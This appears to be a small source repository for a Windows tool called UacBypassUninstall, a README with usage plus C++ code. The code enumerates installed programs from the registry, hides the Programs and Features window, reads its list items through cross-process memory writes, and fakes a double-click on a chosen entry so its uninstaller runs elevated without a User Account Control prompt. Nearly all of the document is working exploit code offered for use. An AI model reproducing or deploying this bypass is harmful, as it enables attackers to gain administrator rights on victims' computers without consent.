├── README.md
├── appinfo.h
├── appinfo.cpp
└── main.cpp
/README.md:
--------------------------------------------------------------------------------
1 | # UacBypassUninstall
2 |
3 | //get app item list
4 | UacBypassUninstall.exe -list
5 |
6 | //use app index to elevate
7 | UacBypassUninstall.exe -exp index
8 |
--------------------------------------------------------------------------------
/appinfo.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | using namespace std;
6 |
7 | struct ApplicationInfoA
8 | {
9 | string strName;
10 | string strDisplayName;
11 | string strPublisher;
12 | string strVersion;
13 | string strDisplayVersion;
14 | string strInstallLocation;
15 | string strUninstallString;
16 | };
17 |
18 | int _GetAppInfoA_(HKEY hKey, LPSTR lpszAppName, LPCSTR lpszKeyValueName, string& strKeyValue);
19 | int GetAllInstalledAppInfoA(LPCSTR lpszSubKey, vector& vAppInfo);
20 |
--------------------------------------------------------------------------------
/appinfo.cpp:
--------------------------------------------------------------------------------
1 | #include "appinfo.h"
2 |
3 |
4 | int _GetAppInfoA_(HKEY hKey, LPSTR lpszAppName, LPCSTR lpszKeyValueName, string& strKeyValue)
5 | {
6 | int ret;
7 | HKEY hInstallAppKey;
8 | ret = RegOpenKeyExA(hKey, lpszAppName, 0, KEY_READ, &hInstallAppKey);
9 | if (ret != ERROR_SUCCESS)
10 | return -1;
11 |
12 | DWORD dwKeyValueType = REG_SZ;
13 | DWORD dwKeyValueDataSize = 0;
14 | ret = RegQueryValueExA(hInstallAppKey, lpszKeyValueName, NULL, &dwKeyValueType, NULL, &dwKeyValueDataSize);
15 | if (ret == ERROR_FILE_NOT_FOUND)
16 | {
17 | RegCloseKey(hInstallAppKey);
18 | return 0;
19 | }
20 | else if (ret != ERROR_SUCCESS)
21 | {
22 | RegCloseKey(hInstallAppKey);
23 | return -1;
24 | }
25 |
26 | if (dwKeyValueType != REG_SZ && dwKeyValueType != REG_EXPAND_SZ)
27 | {
28 | RegCloseKey(hInstallAppKey);
29 | return 0;
30 | }
31 | LPSTR lpszKeyValueData = new char[dwKeyValueDataSize + 1];
32 | memset(lpszKeyValueData, 0, dwKeyValueDataSize + 1);
33 | ret = RegQueryValueExA(hInstallAppKey, lpszKeyValueName, NULL, &dwKeyValueType, (LPBYTE)lpszKeyValueData, &dwKeyValueDataSize);
34 | if (ret != ERROR_SUCCESS)
35 | {
36 | delete[] lpszKeyValueData;
37 | RegCloseKey(hInstallAppKey);
38 | return -1;
39 | }
40 | strKeyValue = lpszKeyValueData;
41 | delete[] lpszKeyValueData;
42 | RegCloseKey(hInstallAppKey);
43 | return 0;
44 | }
45 |
46 | int GetAllInstalledAppInfoA(LPCSTR lpszSubKey, vector& vAppInfo)
47 | {
48 | int ret = 0;
49 | HKEY hKey = NULL;
50 | ret = RegOpenKeyExA(HKEY_LOCAL_MACHINE, lpszSubKey, 0, KEY_READ, &hKey);
51 | if (ret != ERROR_SUCCESS)
52 | return -1;
53 |
54 | DWORD dwSubKeysCnt;
55 | DWORD dwMaxSubKeyNameLen;
56 | DWORD dwKeyValueCnt;
57 | DWORD dwMaxKeyValueNameLen;
58 | DWORD dwMaxKeyValueDataLen;
59 |
60 | ret = RegQueryInfoKey(hKey, NULL, NULL, NULL, &dwSubKeysCnt, &dwMaxSubKeyNameLen, NULL, &dwKeyValueCnt, &dwMaxKeyValueNameLen, &dwMaxKeyValueDataLen, NULL, NULL);
61 | if (ret != ERROR_SUCCESS)
62 | {
63 | RegCloseKey(hKey);
64 | return -1;
65 | }
66 |
67 | DWORD dwIndex;
68 | LPSTR lpszSubKeyName = new char[dwMaxSubKeyNameLen + 1];
69 | DWORD dwNameLen = dwMaxSubKeyNameLen + 1;
70 |
71 | for (dwIndex = 0; dwIndex < dwSubKeysCnt; ++dwIndex)
72 | {
73 | dwNameLen = dwMaxSubKeyNameLen + 1;
74 | memset(lpszSubKeyName, 0, dwMaxSubKeyNameLen + 1);
75 |
76 | ret = RegEnumKeyExA(hKey, dwIndex, lpszSubKeyName, &dwNameLen, NULL, NULL, NULL, NULL);
77 | if (ret != ERROR_SUCCESS)
78 | {
79 | RegCloseKey(hKey);
80 | delete[] lpszSubKeyName;
81 | return -1;
82 | }
83 |
84 | ApplicationInfoA appInfo;
85 | appInfo.strName = lpszSubKeyName;
86 | _GetAppInfoA_(hKey, lpszSubKeyName, "DisplayName", appInfo.strDisplayName);
87 | _GetAppInfoA_(hKey, lpszSubKeyName, "Publisher", appInfo.strPublisher);
88 | _GetAppInfoA_(hKey, lpszSubKeyName, "Version", appInfo.strVersion);
89 | _GetAppInfoA_(hKey, lpszSubKeyName, "DisplayVersion", appInfo.strDisplayVersion);
90 | _GetAppInfoA_(hKey, lpszSubKeyName, "InstallLocation", appInfo.strInstallLocation);
91 | _GetAppInfoA_(hKey, lpszSubKeyName, "UninstallString", appInfo.strUninstallString);
92 | vAppInfo.push_back(appInfo);
93 | }
94 |
95 | delete[] lpszSubKeyName;
96 | RegCloseKey(hKey);
97 | return 0;
98 | }
--------------------------------------------------------------------------------
/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include "appinfo.h"
7 | #pragma comment(lib, "Shlwapi.lib")
8 |
9 | #define MAX_BUF 260
10 |
11 | typedef struct
12 | {
13 | BOOL Vulnerable;
14 | WCHAR DisplayName[MAX_BUF];
15 | WCHAR UninstallString[MAX_PATH];
16 | }UninstallItem, *pUninstallItem;
17 |
18 | LPSTR Unicode2Ansi(LPCWSTR lpWideCharStr)
19 | {
20 | int nAnsiLen = 0;
21 | LPSTR pAnsi = NULL;
22 | nAnsiLen = WideCharToMultiByte(CP_ACP, 0, lpWideCharStr, -1, NULL, 0, NULL, NULL);
23 | pAnsi = (LPSTR)malloc(nAnsiLen + 1);
24 | memset(pAnsi, 0, nAnsiLen + 1);
25 | WideCharToMultiByte(CP_ACP, 0, lpWideCharStr, -1, pAnsi, nAnsiLen, NULL, NULL);
26 | return pAnsi;
27 | }
28 |
29 | HWND FindNestedWindowFromClassName(HWND OutmostWindow, PWCHAR *ClassNames, DWORD ClassCount)
30 | {
31 | HWND ParentHwnd = OutmostWindow;
32 | HWND ChildHwnd = NULL;
33 | for (DWORD i = 0; i < ClassCount; i++)
34 | {
35 | do
36 | {
37 | ChildHwnd = FindWindowEx(ParentHwnd, NULL, ClassNames[i], NULL);
38 | } while (!ChildHwnd);
39 | ParentHwnd = ChildHwnd;
40 | }
41 | return ChildHwnd;
42 | }
43 |
44 | VOID GetListedNames(HANDLE hProcess, HWND SysListView32Hwnd, pUninstallItem pItems, DWORD ItemCount)
45 | {
46 | WCHAR TextBuf[MAX_BUF] = { 0 };
47 | PWCHAR pText = (PWCHAR)VirtualAllocEx(hProcess, NULL, MAX_BUF, MEM_COMMIT, PAGE_READWRITE);
48 | LPLVITEMW plvitem = (LPLVITEMW)VirtualAllocEx(hProcess, NULL, sizeof(LVITEM), MEM_COMMIT, PAGE_READWRITE);
49 | LVITEMW lvitem;
50 | lvitem.cchTextMax = MAX_BUF;
51 | lvitem.iSubItem = 0;
52 | lvitem.pszText = pText;
53 | WriteProcessMemory(hProcess, plvitem, &lvitem, sizeof(LVITEMW), NULL);
54 | for (DWORD i = 0; i < ItemCount; i++)
55 | {
56 | SendMessage(SysListView32Hwnd, LVM_GETITEMTEXT, i, (LPARAM)plvitem);
57 | ReadProcessMemory(hProcess, pText, TextBuf, MAX_BUF, NULL);
58 | pItems[i].Vulnerable = FALSE;
59 | lstrcpyn(pItems[i].DisplayName, TextBuf, MAX_BUF);
60 | }
61 | }
62 |
63 | BOOL DBClickItem(HANDLE hProcess, HWND SysListView32Hwnd, DWORD ItemIndex)
64 | {
65 | if (!SysListView32Hwnd || !hProcess)
66 | return FALSE;
67 | PRECT pRect = (PRECT)VirtualAllocEx(hProcess, NULL, sizeof(RECT), MEM_COMMIT, PAGE_READWRITE);
68 | if (!pRect)
69 | return FALSE;
70 | RECT Rect;
71 | Rect.left = LVIR_BOUNDS;
72 | if (!WriteProcessMemory(hProcess, pRect, &Rect, sizeof(RECT), NULL))
73 | return FALSE;
74 | SendMessage(SysListView32Hwnd, LVM_GETITEMRECT, ItemIndex, (LPARAM)pRect);
75 | if (!ReadProcessMemory(hProcess, pRect, &Rect, sizeof(RECT), NULL))
76 | return FALSE;
77 | DWORD Pos = ((Rect.top + Rect.bottom) / 2 << 16) + (Rect.left + 30);
78 | PostMessage(SysListView32Hwnd, WM_LBUTTONDOWN, MK_LBUTTON, (LPARAM)Pos);
79 | PostMessage(SysListView32Hwnd, WM_LBUTTONUP, NULL, (LPARAM)Pos);
80 | PostMessage(SysListView32Hwnd, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)Pos);
81 | PostMessage(SysListView32Hwnd, WM_LBUTTONUP, NULL, (LPARAM)Pos);
82 | return TRUE;
83 | }
84 |
85 | HANDLE WindowToProcess(HWND hWnd)
86 | {
87 | DWORD dwPID = 0;
88 | DWORD dwThreadID = GetWindowThreadProcessId(hWnd, &dwPID);
89 | return OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
90 | }
91 |
92 | void wmain(int argc, wchar_t* argv[])
93 | {
94 | bool bList = false;
95 | int nIndex = -1;
96 | vector vAppInfo;
97 | vector vAppInfo_wow64;
98 | WCHAR WinClassName[MAX_BUF] = { 0 };
99 | WCHAR WinText[MAX_BUF] = { 0 };
100 | HWND Hwnd = NULL;
101 | PWCHAR WindowClasses[] = { L"ShellTabWindowClass", L"DUIViewWndClassName", L"DirectUIHWND", L"CtrlNotifySink", L"SHELLDLL_DefView", L"SysListView32" };
102 |
103 | if (wcsicmp(argv[1], L"-list") == 0)
104 | bList = true;
105 | else if (wcsicmp(argv[1], L"-exp") == 0)
106 | nIndex = _wtoi(argv[2]);
107 |
108 | if (!bList && nIndex == 0)
109 | return;
110 |
111 | GetAllInstalledAppInfoA("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", vAppInfo);
112 | GetAllInstalledAppInfoA("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall", vAppInfo_wow64);
113 |
114 | WinExec("rundll32.exe shell32.dll Control_RunDLL appwiz.cpl 2", SW_HIDE);
115 |
116 | for (int i = 0; i < 5; i++)
117 | {
118 | Hwnd = GetForegroundWindow();
119 | if (lstrcmp(WinClassName, L"CabinetWClass") != 0 || StrStrW(WinText, L"Programs and Features") == NULL)
120 | {
121 | Hwnd = GetForegroundWindow();
122 | GetClassName(Hwnd, WinClassName, MAX_BUF);
123 | SendMessage(Hwnd, WM_GETTEXT, MAX_BUF, (LPARAM)WinText);
124 | }
125 | else
126 | break;
127 | Sleep(100);
128 | }
129 |
130 | ShowWindow(Hwnd, SW_MINIMIZE);
131 |
132 | HWND SysListView32 = FindNestedWindowFromClassName(Hwnd, WindowClasses, sizeof(WindowClasses) / sizeof(PWCHAR));
133 | if (!SysListView32)
134 | {
135 | _tprintf(L"Not found window.\n");
136 | goto CLEAN;
137 | }
138 |
139 | DWORD ItemCount = ListView_GetItemCount(SysListView32);
140 | if(ItemCount <= 0)
141 | {
142 | _tprintf(L"Item count %d.\n", ItemCount);
143 | goto CLEAN;
144 | }
145 |
146 | pUninstallItem pItems = (pUninstallItem)new UninstallItem[ItemCount];
147 | memset(pItems, 0, sizeof(UninstallItem)*ItemCount);
148 |
149 | HANDLE hProcess = WindowToProcess(SysListView32);
150 | if (!hProcess)
151 | {
152 | _tprintf(L"Window to process error.\n");
153 | goto CLEAN;
154 | }
155 |
156 | GetListedNames(hProcess, SysListView32, pItems, ItemCount);
157 |
158 | if (bList)
159 | {
160 | for (int i = 0; i < ItemCount; i++)
161 | {
162 | bool bFind = false;
163 | char* name = Unicode2Ansi(pItems[i].DisplayName);
164 | vector::iterator iter = vAppInfo.begin();
165 | while (iter != vAppInfo.end())
166 | {
167 | if (stricmp(name, iter->strDisplayName.c_str()) == 0)
168 | {
169 | _tprintf(L"%d:%S:%S\n", i, iter->strDisplayName.c_str(), iter->strUninstallString.c_str());
170 | bFind = true;
171 | break;
172 | }
173 | ++iter;
174 | }
175 | if (!bFind)
176 | {
177 | iter = vAppInfo_wow64.begin();
178 | while (iter != vAppInfo_wow64.end())
179 | {
180 | if (stricmp(name, iter->strDisplayName.c_str()) == 0)
181 | {
182 | _tprintf(L"%d:%S:%S\n", i, iter->strDisplayName.c_str(), iter->strUninstallString.c_str());
183 | break;
184 | }
185 | ++iter;
186 | }
187 | }
188 | }
189 | }
190 | else if (nIndex >= 0)
191 | {
192 | DBClickItem(hProcess, SysListView32, nIndex);
193 | Sleep(100);
194 | }
195 |
196 | CLEAN:
197 | SendMessage(Hwnd, WM_CLOSE, 0, 0);
198 | }
--------------------------------------------------------------------------------